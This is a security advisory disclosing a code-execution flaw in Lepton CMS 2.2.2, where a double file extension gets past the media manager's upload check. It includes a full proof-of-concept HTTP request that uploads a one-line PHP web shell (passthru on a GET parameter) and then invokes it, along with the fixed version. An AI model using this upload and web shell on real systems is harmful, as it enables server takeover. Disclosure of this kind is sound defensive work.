Lepton 2.2.2: Code Execution

Date: 2016-11-10 10:45:06

1. Introduction

2. Overview

Lepton is a content management system written in PHP. In version 2.2.2, it is vulnerable to code execution as it is possible to upload files with dangerous type via the media manager.

3. Details

Upload of file with dangerous type

CVSS: High 9.0 AV:N/AC:L/Au:S/C:C/I:C/A:C

Description: When uploading a file in the media tab, there is a client-side as well as a server-side extension check. The server-side check can be bypassed by including a valid extension before the desired extension, leading to code execution or XSS.

Proof of Concept:

POST /LEPTON_stable_2.2.2/upload/admins/media/index.php?leptoken=099c871bbf640f2f91d2az1472132032 HTTP/1.1 Host: localhost Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cookie: lep9131sessionid=8bgkd5rae5nhbn0jaac8jpkpc5 Connection: close Content-Type: multipart/form-data; boundary=---------------------------38397165016927337851258279296 Content-Length: 613 -----------------------------38397165016927337851258279296 Content-Disposition: form-data; name="action" media_upload -----------------------------38397165016927337851258279296 Content-Disposition: form-data; name="current_dir" -----------------------------38397165016927337851258279296 Content-Disposition: form-data; name="upload[]"; filename="test.png.php5" Content-Type: image/png <?php passthru($_GET['x']); -----------------------------38397165016927337851258279296 Content-Disposition: form-data; name="submit" Upload File(s) -----------------------------38397165016927337851258279296-- http://localhost/LEPTON_stable_2.2.2/upload/media/test.png.php5?x=id

4. Solution

To mitigate this issue please upgrade at least to version 2.3.0:

http://www.lepton-cms.org/posts/important-lepton-2.3.0-101.php

Please note that a newer version might already be available.

5. Report Timeline